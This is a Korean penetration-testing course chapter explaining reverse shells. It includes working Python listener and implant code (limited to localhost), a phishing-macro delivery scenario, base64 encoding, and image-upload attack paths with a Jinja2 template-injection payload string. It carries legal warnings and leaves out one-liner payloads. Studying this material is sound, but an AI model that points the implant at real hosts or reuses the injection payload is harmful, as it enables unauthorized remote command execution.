본문 바로가기

리버스 셸 원리와 구현

지금까지의 회차들은 요청을 보내고 응답을 분석하는 일이었습니다. 이번 회차부터는 이 영역을 벗어납니다. 공격자가 어떤 취약점을 통해 피해 호스트에서 코드를 실행할 권한을 얻은 직후, 그 권한으로 공격자 PC와 양방향 통신 채널을 만드는 순간을 다룹니다. 이 채널이 흔히 말하는 셸이고, 그 중에서도 가장 자주 쓰이는 형태가 리버스 셸입니다.

법·윤리 주의: 이번 회차의 모든 실습은 본인 PC의 127.0.0.1 안에서, 같은 노트북 위의 두 터미널 사이에서만 진행합니다. 다른 호스트(가족 PC, 회사 서버, 공용 와이파이의 다른 기기, 클라우드 인스턴스)를 대상으로 같은 코드를 돌리는 것은 정보통신망법 제48조 위반이며, 학습 목적이라는 이유로 면책되지 않습니다. 이 책은 셸을 원리 이해의 대상으로 다루며, 회피·우회 같은 운영 영역은 다루지 않습니다.

1. 리버스 셸과 바인드 셸

먼저 두 형태를 한 그림으로 비교합니다.

비교바인드 셸리버스 셸
누가 LISTEN피해자공격자
누가 connect공격자피해자
NAT 뒤의 피해자불가 (포워딩 없으면 공격자가 들어올 수 없음)가능 (피해자가 나가는 연결은 보통 허용)
인바운드 방화벽뚫어야 함무관
아웃바운드 방화벽무관뚫어야 함

용어 정리

  • LISTEN / connect: TCP 통신은 한쪽이 먼저 특정 포트를 열어 대기 상태에 들어가고(LISTEN), 다른 쪽이 그 포트로 접속을 시도(connect)할 때 비로소 연결이 만들어집니다. 위 표에서 두 형태가 갈리는 기준이 바로 "누가 LISTEN이고 누가 connect인가"입니다.
  • NAT(Network Address Translation, 네트워크 주소 변환): 공유기가 집 안의 여러 기기에 하나의 외부 IP를 공유시켜주는 기술입니다. 바깥에서 보면 공유기 IP 하나만 보이고, 그 안쪽의 PC에 외부가 직접 들어올 길은 기본적으로 막혀 있습니다. 사무실 사내망, 카페 와이파이도 같은 구조죠. 그래서 "NAT 뒤의 피해자"란 외부에서 직접 접속이 불가능한 일반 사용자 PC를 가리키는 표현입니다.
  • 인바운드(inbound) 방화벽: 외부 → 내부로 들어오는 연결을 차단하는 규칙. 회사·가정용 PC는 거의 전부 켜져 있습니다. "외부에서 내 4444 포트로 접속해 봐"가 막히는 이유가 이것입니다.
  • 아웃바운드(outbound) 방화벽: 내부 → 외부로 나가는 연결을 차단하는 규칙. 일반적으로는 느슨하거나 아예 없습니다. 우리가 평소 웹사이트, 메신저, 업데이트에 자유롭게 접속할 수 있는 이유가 그것이고, 이 비대칭이 곧 리버스 셸이 선호되는 이유입니다.

현실의 네트워크는 인바운드는 막고 아웃바운드는 열어두는 형태가 압도적으로 많습니다. 사무실 PC가 https://google.com에는 닿지만 외부에서 사무실 PC의 4444번 포트로 들어오는 것은 막히죠. 이 비대칭 때문에 공격자는 거의 항상 리버스 셸을 선호합니다.

2. 실습 해킹 시나리오

다음 두 절에서 만들 두 파일(listener / implant)이 어떤 현실 상황을 흉내내는지부터 그려두고 시작합니다. 코드만 따라가면 "왜 굳이 두 파일을 따로 만드는지"가 흐릿해지기 쉽거든요.

큰 흐름은 공격자가 메일을 던지고 → 피해자가 열고 → 피해자에서 공격자로 connect가 일어나면 → 그 뒤로는 명령이 양방향으로 오간다 입니다. 화살표 방향에 주목하세요. 메일은 공격자 → 피해자로 가지만, 셸을 만드는 결정적 연결은 피해자 → 공격자입니다. 이게 1절에서 본 "리버스" 의 의미가 그대로 드러나는 지점입니다.

등장인물

  • 공격자: 자기 노트북에서 listener.py를 띄워두고, 4444 포트로 들어올 연결을 기다립니다.
  • 피해자: 일반 사무직 직원. 거래처와 매일 메일·엑셀로 송장을 주고받습니다. 사무실 PC의 인바운드 방화벽은 켜져 있고, 아웃바운드는 평소대로 열려 있습니다.

진행 순서

  1. 공격자가 거래처를 사칭한 메일을 보냅니다. 첨부파일은 2026_05_invoice.xlsx. 본문은 평범한 송장 안내, 파일에는 매크로가 들어 있습니다.
  2. 피해자가 첨부파일을 열고 "콘텐츠 사용" 버튼을 누릅니다. 평소 거래처 양식이라 의심하지 않습니다. 그 순간 매크로가 백그라운드에서 작은 Python 스크립트(= 다음 절의 implant)를 실행합니다.
  3. implant는 즉시 공격자의 4444 포트로 connect를 시도합니다. 사무실 방화벽은 인바운드는 막지만 아웃바운드는 열어둔 상태이므로(앞 절에서 본 비대칭) 연결이 그대로 성립합니다.
  4. 공격자 노트북의 listener 화면에 [+] connected by ...가 뜹니다. 셸이 붙은 순간입니다.
  5. 그 후로 공격자가 자기 listener 프롬프트에 whoami, dir, cd ..을 칠 때마다, 그 명령은 피해자 노트북에서 실행되고 결과만 공격자 화면으로 돌아옵니다. 피해자 화면에는 아무것도 보이지 않습니다.

이 책의 실습은 위의 모든 단계를 같은 노트북 안에서 두 터미널로 흉내냅니다. 공격자 노트북 = listener를 띄운 터미널, 피해자 노트북 = implant를 실행한 터미널. 두 프로세스는 오직 127.0.0.1(자기 자신)로만 통신하기 때문에, 외부 IP는 어디에도 나타나지 않습니다. 즉 학습 환경 자체가 본인 노트북 안에서 닫혀 있습니다.

전달 방법은 메일·매크로 외에도 여러 가지입니다. 사용자가 자주 가는 사이트를 변조해 두는 워터링 홀, 사용자가 직접 받아 실행하는 크랙판 소프트웨어·가짜 업데이트, 서버 측 취약점을 통한 원격 코드 실행까지, 모두 결말은 같습니다. "피해자 컴퓨터에서 implant 한 줄이 실행된다". 그 결말 이후의 무대가 다음 두 절입니다.

3. 리스너 만들기

리버스 셸을 받으려면 공격자 쪽에 수신 대기 프로그램이 있어야 합니다. 운영체제에 nc(netcat)가 깔려 있다면 nc -lvnp 4444 한 줄로 끝나지만, 우리는 파이썬으로 직접 만들어 봅니다. 02-1에서 다뤘던 socket 코드의 연장선입니다.

# listener.py: 가장 단순한 리버스 셸 리스너
import socket

LHOST, LPORT = "127.0.0.1", 4444

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((LHOST, LPORT))
    srv.listen(1)
    print(f"[*] listening on {LHOST}:{LPORT}")
    conn, addr = srv.accept()
    print(f"[+] connected by {addr}")

    while True:
        cmd = input("$ ")
        if not cmd:
            continue
        if cmd in ("exit", "quit"):
            break
        conn.sendall(cmd.encode() + b"\n")
        data = conn.recv(65536)
        if not data:
            print("[-] peer closed")
            break
        print(data.decode(errors="replace"), end="")

이 한 페이지짜리 코드가 본질적으로 nc -lvnp 4444와 같은 일을 합니다. 명령을 입력 받아 보내고, 응답을 받아 출력합니다.

4. 가장 짧은 리버스 셸 클라이언트

이번엔 피해 호스트 역할의 코드입니다. 같은 노트북 안에서 새 터미널을 열고 다음 스크립트를 실행하면, 위 리스너에 셸이 붙습니다.

# implant.py: 학습용 리버스 셸 (자기 자신에게만 연결)
import socket, subprocess, os, locale

LHOST, LPORT = "127.0.0.1", 4444
ENC = locale.getpreferredencoding(False)  # Windows: 보통 'cp949', macOS/Linux: 'utf-8'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))

while True:
    cmd = b""
    while not cmd.endswith(b"\n"):
        chunk = s.recv(4096)
        if not chunk:
            s.close(); raise SystemExit
        cmd += chunk

    cmd = cmd.decode().strip()
    if cmd in ("exit", "quit"):
        s.close(); break

    if cmd.startswith("cd "):
        try:
            os.chdir(cmd[3:].strip())
            s.sendall(b"")
        except Exception as e:
            s.sendall(f"cd error: {e}\n".encode())
        continue

    out = subprocess.run(
        cmd, shell=True, capture_output=True, timeout=10
    )
    raw = out.stdout + out.stderr
    text = raw.decode(ENC, errors="replace") if raw else "(no output)\n"
    s.sendall(text.encode("utf-8"))

리스너를 먼저 띄우고(python listener.py), 다른 터미널에서 클라이언트를 실행하면(python implant.py), 리스너 쪽 프롬프트에서 명령을 치는 대로 클라이언트 쪽에서 실행됩니다.

Windows에서 따라할 때 주의: subprocess.run(... shell=True)은 OS별로 다른 셸을 띄웁니다. macOS/Linux에서는 /bin/sh라서 ls, pwd가 익숙하게 동작하지만, Windows에서는 cmd.exe 가 뜨므로 ls/pwd는 "내부 또는 외부 명령... 아닙니다" 오류가 납니다. Windows에서는 대응 명령으로 dir(목록), cd(현재 경로) 를 사용하세요. 인코딩도 마찬가지입니다. cmd.exe 출력은 한글 Windows에서 CP949로 나오기 때문에, 위 implant 코드는 locale.getpreferredencoding()으로 시스템 인코딩을 감지해 디코드한 뒤 UTF-8로 다시 인코딩해서 보냅니다. 이 두 줄이 빠지면 한글 출력이 모지바케('ls'��(��) ���...)로 깨져 도착합니다.

아래는 Windows에서 실행했을 때의 출력 예시입니다. macOS/Linux라면 dir 대신 ls, 빈 cd 대신 pwd로 바꿔 읽으면 됩니다.

$ whoami
weniv\paull
$ cd
C:\github project\wenivooks
$ cd ..
$ cd
C:\github project
$ dir
 C 드라이브의 볼륨: Windows
 ...

cd를 별도로 처리한 이유는, subprocess.run(... shell=True)이 매번 새 셸을 띄우기 때문입니다. 새 셸 안에서 cd를 해봐야 그 셸이 죽는 순간 같이 사라집니다. 그래서 클라이언트 프로세스 자체의 작업 디렉터리를 os.chdir로 바꿔 상태를 유지합니다. 실제 셸의 동작을 흉내내려면 환경 변수도 같은 식으로 직접 관리해야 합니다.

왜 이렇게 짧은가

위 두 파일을 합치면 100줄이 안 됩니다. 공격 코드가 짧다는 사실은 곧 방어가 어렵다는 뜻입니다. 시그니처 기반 탐지로는 이런 코드를 잡을 수 없고, 행동 기반(이상 프로세스 트리, 비정상 outbound 연결, 자식으로 셸을 띄우는 인터프리터)으로 봐야 합니다. 이 한 가지가 EDR(Endpoint Detection and Response, 엔드포인트 탐지 및 대응, 사용자 PC·서버에서 일어나는 프로세스 실행·네트워크 연결·파일 변경을 실시간으로 감시·기록하고 의심 행동을 차단하는 보안 소프트웨어. Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne 등이 대표적)이 존재하는 이유이기도 합니다.

5. 표준 패턴

실제 침투 보고서나 페이로드 모음을 보면 한 줄짜리 셸들이 자주 등장합니다. Bash, PowerShell, Python 모두 같은 개념을 짧게 압축한 변종들입니다.

이 책에서는 그 한 줄들의 정확한 형태를 옮겨 적지 않습니다. 이유는 단순합니다. 본 회차의 학습 목표는 "리버스 셸이 무엇인가, 어떤 흐름으로 동작하는가"이지, "어디 가서 그대로 붙여 쓰면 되는 페이로드 모음"이 아닙니다. 위에서 만든 두 파일이 개념을 이해하기에 필요한 충분한 코드입니다.

6. 페이로드 인코딩

침투 시나리오에는 셸 코드를 그대로 쓸 수 없는 순간이 자주 옵니다. SQL 인젝션 결과를 통해 명령 한 줄을 흘려야 하거나, URL 파라미터로 실어 보내야 하거나, 입력 길이 제한이 있는 경우입니다. 이 때 자주 쓰는 것이 base64 인코딩입니다.

# payload_encode.py: 학습 목적: 한 명령을 base64로 표현해 보기
import base64

cmd = "echo hello from implant"
encoded = base64.b64encode(cmd.encode()).decode()
print(encoded)               # ZWNobyBoZWxsbyBmcm9tIGltcGxhbnQ=

decoded = base64.b64decode(encoded).decode()
print(decoded)               # echo hello from implant

base64는 암호화가 아닙니다. 어떤 보안 도구도 =로 끝나는 base64 문자열을 그대로 통과시키지 않으며, 디코딩 후의 내용은 즉시 식별됩니다. 그래서 base64는 "다른 채널을 안전하게 통과시키는 표현 형식"이지 "탐지를 회피하는 수단"이 아닙니다.

7. 이미지로 위장한 페이로드

앞 절에서 base64를 봤습니다. 한 단계 더 나가, 학습자가 자주 던지는 질문 하나를 정리합니다. "이미지 파일 안에 파이썬 스크립트를 끼워넣어 서버에 올리면, 서버가 그걸 읽으니까 실행되지 않을까?" 결론부터 말하면 이미지 그 자체로는 실행되지 않습니다. 이미지는 픽셀 데이터의 모음이고, 디스크에 저장된 바이트가 인터프리터에 들어가지 않는 한 코드가 되지 않습니다. 그러나 다음 세 조건 중 하나가 맞으면 이야기가 달라집니다.

7.1 확장자 검증 우회 + 서버 설정 미스

가장 고전적인 경로입니다.

  1. 공격자가 evil.jpg라는 파일을 업로드합니다. 헤더 몇 바이트는 정상 JPG처럼 보이지만 뒤쪽엔 파이썬 코드가 붙어 있습니다. 또는 아예 evil.jpg.py처럼 이중 확장자를 씁니다.
  2. 서버가 확장자나 Content-Type만 보고 업로드를 허용합니다. 파일이 /media/uploads/에 저장됩니다.
  3. 그 디렉터리가 잘못 설정돼 정적 파일이 아니라 Python 인터프리터로 처리되는 경로거나, Apache가 이중 확장자에서 마지막이 아닌 첫 인식 확장자(.py)로 라우팅하던 옛 설정에 걸리면, 그 순간 RCE가 됩니다.

Django 자체는 MEDIA_ROOT의 파일을 실행하지 않으므로 기본 설정에선 안전합니다. 위험한 곳은 그 앞단의 웹 서버 설정, FTP·WebDAV로 쓰기 가능한 디렉터리가 곧 실행 가능 디렉터리인 환경, CMS 플러그인이 임의 위치에 파일을 떨궈주는 경우입니다.

7.2 이미지 처리 라이브러리의 취약점

서버가 업로드된 이미지로 썸네일을 만들거나 메타데이터를 추출하는 순간, 이미지 처리 라이브러리 자체에 취약점이 있다면 그 처리 과정에서 코드가 실행됩니다.

  • ImageTragick(CVE-2016-3714): ImageMagick이 MVG/SVG의 url() 지시자를 처리할 때 명령어 주입이 발생했습니다. image.jpg로 위장한 MVG 파일이 업로드되고 서버가 ImageMagick 변환을 돌리는 순간 임의 명령이 실행됐습니다. 당시 거의 모든 사진 업로드 서비스가 영향을 받았습니다.
  • Pillow: PIL.Image.open()에 특수 조작된 EPS, BLP, FLI 같은 포맷을 넘기면 정수 오버플로우, 메모리 깨짐, 임의 코드 실행 같은 류의 취약점이 주기적으로 보고되고 있습니다. 라이브러리 버전을 그대로 두고 오래 쓰는 서비스가 가장 위험합니다.

이 부류는 "이미지가 코드를 담고 있어서 실행된다"기보다 "이미지를 해석하는 코드가 잘못 짜여 있어서 공격 입력을 그대로 실행한다"가 정확한 표현입니다. 결과적으로 공격자는 정상 이미지처럼 생긴 파일 한 장만 업로드하면 됩니다.

7.3 EXIF 메타데이터 + 템플릿 인젝션

이미지의 EXIF 필드(촬영 장비, GPS 좌표 등을 담는 메타데이터 영역)는 텍스트를 넣을 수 있는 공간입니다. 공격자가 "Camera Maker" 같은 필드에 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} 같은 템플릿 인젝션 페이로드를 박아 업로드합니다. 서버가 그 EXIF를 추출해 Jinja2 템플릿에 넣으면서 escape를 빼먹으면 RCE가 성립합니다.

Django 기본 템플릿은 자동 escape를 하므로 비교적 안전한 편이지만, mark_safe()로 강제 통과시키거나 Jinja2의 autoescape=False 환경으로 넘기면 그대로 뚫립니다.

핵심 원칙: 파일 업로드의 진짜 위험은 파일 자체가 무엇인가가 아니라 서버가 그 파일을 어떻게 다루는가입니다. 같은 evil.jpg라도 디스크에 저장만 하고 끝나면 무해하고, 인터프리터로 라우팅되거나, 취약한 라이브러리로 변환되거나, 메타데이터를 escape 없이 출력하면 위험해집니다. 그래서 방어의 무게중심은 "악성 파일 골라내기"보다 처리 경로의 격리(별도 워커에서 변환, 결과 산출물만 정적 파일로 노출, 업로드 디렉터리는 무조건 비실행)에 있습니다.

이 절도 5·6절과 마찬가지로 개념 이해까지만 다룹니다. 실제 폴리글랏 파일 제작, EXIF 인젝션 페이로드, 우회 트릭은 합법적으로 실습할 수 있는 환경을 조성하고 실습해주세요.

8. Claude와 함께 해킹 시나리오 설계하기

앞에서 진행했던 머메이드, 해킹 시나리오, 리버스 셸 코드를 모두 종합해서, Claude에게 해킹 시나리오 설계를 요청해 봅시다. 이번 회차의 목표는 "머메이드로 시나리오 그려보기"입니다. Claude가 그려주는 시나리오를 보고 "이런 흐름이구나"를 이해하는 것이 목표입니다.

총 3개의 시나리오를 그려보세요.

리버스 셸 원리와 구현 - AI 네이티브 모의해킹 베이스캠프 | 위니버시티